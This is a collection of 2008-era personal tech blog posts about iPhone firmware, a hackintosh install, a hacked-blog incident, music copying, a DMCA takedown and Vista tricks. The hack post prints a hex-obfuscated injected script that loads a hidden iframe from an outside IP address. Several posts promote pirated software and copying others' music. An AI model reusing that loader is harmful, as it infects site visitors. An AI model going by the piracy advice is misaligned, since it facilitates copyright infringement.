Peter Vatistas

For those of us who have the older versions of the iPhone (1.1.1 - 1.1.4), Apple wants us to wait until tomorrow before we can upgrade to 2.0 firmware. Well, here’s how to backdoor the upgrade process and get 2.0 installed on our iPhones NOW!!

Before we start this process, please sync your iphone with the current version of iTunes to make sure all your data is backed up.

1. Open iTunes and click Help, then Check for Updates. Let iTunes upgrade to 7.7.

2. Download the iPhone 2.0 firmware (225MB - .ipsw file ). If by chance it has a .zip extension at the end (after the .ipsw extension, just remove it).

3. Connect your iPhone to your computer and select it in iTunes. Hold down the shift button (Windows Vista) and select the restore button.

4. Once the browser window pops up, browse to the .ipsw file you just downloaded and select it.

5. Now iTunes will upgrade your iPhone and should take 15 +/- minutes.

6. After the iPhone has been upgraded, iTunes will ask to setup as a new iPhone or restore from a backup, click restore (will use your most recent sync data).

Your all set!! Now head into the App store in iTunes and download all the killer apps!!

A few days ago I installed OS X Leopard on two different PC’s, a Compaq laptop and a SuperMicro Dual Quad-Core Xeon powerhouse with 8GB ram. Both machines run OS X Leopard perfectly and the installation process was just as straightforward and easy as installing OS X on a Mac, only a few extra steps!

So how did I install OS X Leopard on my PC? Simple: iATKOS v1.0i

Do a quick search using your favorite torrent search portal for “iATKOS v1.0i” , download it, burn to DVD, pop that puppy into your test computer’s DVD drive and reboot**. During the install process there are a few extra steps so I will list what you need to do below:

# When the Welcome screen pops up click Continue

1. At the Terms & Conditions screen do not click Agree yet, click Utilities on the Apple bar at the top of your screen and then select Disk Utility from the drop down menu (Utilities > Disk Utility).

2. Select your hard drive’s partition on the left hand side then select the Erase tab on the right.

3. Now click the Erase button on the bottom right and click Erase again on the pop-up. When this is complete close the Disk Utility.

4. Now go back up to the Apple menu bar and select Utilities > Darwin_Boot

5. Type Y (yes) to continue, 1 for your HDD number (if your using the main HDD), and 1 again for the partition number OS X will be installed on (if your installing on a different partition enter that partition number instead of 1).

6. Type Y (yes) to install boot efi and type Y (yes) again to confirm. Once it this process in complete it will display [process completed] and you can now exit out of Darwin_boot.

7. Please read the Terms & Conditions for iATKOS v1.0i and click Agree (if you agree).

8. Now your ready to install OS X Leopard on your PC, just follow the on screen guide and your good to go!

Best of luck!

** I will not be held liable for any damage that results from this tutorial. If you attempt to install OS X Leopard (iATKOS v1.0i) onto your computer it is at your own risk.

UPDATE (June 19th, 2008): For your questions and/or comments go to the Peter-V Forum and post here: How to Install OS X Leopard on a PC - iATKOS v1.0i Tutorial - Forum Style

I really hate when this happens but it does and it is somewhat a regular thing when you manage as many websites as I do. Today I found someone hacked into my blog (this one) and added a bullshit script to my header template.

I am not sure exactly what this script does since I use Linux and Firefox 2 but when I checked out my site on my wife’s computer (Microsoft Windows Vista & IE7) a ton of crap started happening. My web browser froze, my anti-virus was alerting me of potential viruses, and a bunch of Windows errors popped up including the BSOD (isn’t blue screens a thing of the past? LOL).

Anyways I took several steps to ensure whatever or whoever got in was blocked; I notified my host to block the IP receiving whatever information from that bullshit script. Here is what I found:

<script> var s=’3C696672616D65207372633D22687474703A2F2F31
39352E352E3131362E3235302F65782F7374617469632E706870222077
696474683D32206865696768743D32207374796C653D22646973706C61
793A6E6F6E65223E3C2F696672616D653E’; var o=”; for(i=0;i<s
.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.
substr(i,2);} document.write(unescape(o)); </script>

The IP address is: 195.5.116.250

After catching this I quickly changed my server passwords, verified that ftp was disabled and the ports were closed (along with all other unused ports), and chmod 755 (instead of 777) the world-writable and uploads directories. After I removed the script from the header I also did a full blown search on every template file. Problem solved.

These kind of things always happen and my advice is to always check html for any changes. It is also very important to change your passwords regularly and keep your ftp ports CLOSED, only use SSH or SFTP if you can. I also have added checking file permissions to my security checklist, every week or so I plan to run through my web files and verify no changes have been made.

I just got turned on to this neat little application and I am hooked!

Music Rescue is an application that allows you to copy your (or anyone else’s) tracks to any computer you choose. If you’re not allowed to install iTunes (like at school or work), simply install Music Rescue onto your iPod at home and it’ll be available wherever you go - Mac or PC.

I installed Music Rescue on my Mac and all I had to do was plug in my iPhone and it transfered everything over, in MP3 format!! I grabbed my buddies video iPod and downloaded his entire library - all 22,000 MP3’s (which I quickly deleted because that is considered illegal… LOL). I now have a little over 44,000 MP3’s and growing! I totally recommend this application for any of you who have been burned by iTunes (I have lost hundreds of songs in the past and I can’t re-download them) or for the guys who just want to build their library like mad!!

KennettNet’s Music Rescue

Microsoft Office 2008 for Mac v12.0.0 Beta Expiration CRACK: Forced to remove from this post…

In the USA we have freedom of speech, you have the right to speak freely… that is until lawyers don’t want you to. Sorry guys.

“04 February 2008

Dear Sir or Madam,

Microsoft has received information that the domain listed above, which appears to be on servers under your control, is offering unlicensed copies of, or is engaged in other unauthorized activities relating to copyrighted works published by Microsoft.

1. Identification of copyrighted works:

Copyrighted work(s):
Office 2008 for Mac Beta

Copyright owner:
Microsoft Corporation

2. Copyright infringing material or activity found at the following location(s): http://www.peter-v.com/50/microsoft-office-2008-for-mac-v1200-beta-expiration-crack/

The above location is offering ‘Cracks’ or ‘Product Keys’, intended to circumvent technical measures that control access to Microsoft’s copyrighted works and that protect Microsoft’s copyrights in those works.

3. Statement of authority:

The information in this notice is accurate, and I hereby certify under penalty of perjury that I am authorized to act on behalf of Microsoft, the owner of the copyright(s) in the work(s) identified above. I have a good faith belief that none of the materials or activities listed above have been authorized by Microsoft, its agents, or the law.

We hereby give notice of these activities to you and request that you take expeditious action to remove or disable access to the material described above, and thereby prevent the unauthorized distribution of these cracks or product keys via your company’s network.

We appreciate your cooperation in this matter. Please advise us regarding what actions you take.”

A few weeks back I went to the Apple retail store and picked up a 8GB iPhone for $399. I didn’t immediately post about the iPhone because like most things I buy I always think it is the best thing in the world for the first few days.

So it’s been close to a month using the Apple iPhone and I think this is just the best phone ever. It is very easy to use, fast response, and does everything I need and want in a phone. The only real thing that took some time getting used to is typing but after a good week or so it feels normal.

I have noticed 3 problems with the iPhone that are either from manufacturing defects or from lack of innovation. First being the camera. Taking pictures during the day with a lot of light works great but with little light its crap. Even with light it can still be a pain in the butt because you have to remain very still for a few seconds, even the slightest movement will completely blur your pictures. A flash would have been a smart idea for this phone to prevent this issue and allow people to use the camera in darker settings. Probably a battery killer though…

 My next problem with the phone is the battery, or lack there of. Right off the bat I noticed that my phone was losing its charge pretty quick and from a full day of calls, emails, internet browsing, and pictures I’ll have a dead battery by the end of the night. I find myself now making decisions on whether I want to do certain tasks on my phone or not because of the battery which sucks but I make it work; I’ve never had the battery completely die so I am doing something right.

The third issue I have is more of a nuisance, the black cover on the back side of the iPhone at the bottom… It squeaks. When I hold my phone it squeaks, when I let go it squeaks. Thats all I have to say about that, LOL. 

 Aside from the three issues I wrote about above I totally love this phone and within the last two weeks I downloaded and ran Jailbreak. Now I have tons of applications and games and everything works great!

I would love to see what you guys think about Apple’s new iPhone and if you have run jailbreak yet.

Much like the root “super user” of Unix, Microsoft’s Windows Vista has a secret “master” administrator account which is disabled by default. The “master” administrator account in Vista gives all rights/permissions or total control over your OS; this is great for a Systems Administrator but not for the normal user or power user.

Just like in Unix, it is highly recommended that you run applications, services, and general interactions with Unix as a regular user. When your interactions within Unix require a raised level of authority you can run the command: #sudo su followed by your password. Vista has followed this almost exactly and I am sure you’ve seen this several times like when you install an application, run certain programs, or change system settings windows will display a UAC popup requiring you to accept your actions before you can continue. This “master” administrator account is the equivilant root or super user of Unix.

To unlock the secret administrator account in Windows Vista, follow these steps:

Start> type cmd in the search box> right-click on cmd.exe> select Run as Administrator> type: Net user administrator /active:yes then press enter. Now the next time you log in you will see the ”master” administrator account, which BTW is unprotected so I strongly suggest you set a password (click here for a great password generator). Now if you want to disable the administrator account just follow the same steps above but change the active:yes to active:no (Net user administrator /active:no).

Here is a neat little hack to use Microsoft’s Windows Vista OS for 4 months without a key, activation, registration, nothing!

Install or upgrade Windows Vista, do not enter a product key and get 30 days free like everyone else. On the 29th day, click Start, Run, and type in: slmgr -rearm

This will give you another 30 days and repeat this step on the 59th day. From what I have been told this works for 4 months only and hopefully by then you’ve delivered enough newspapers to buy yourself a copy of Microsoft Windows Vista.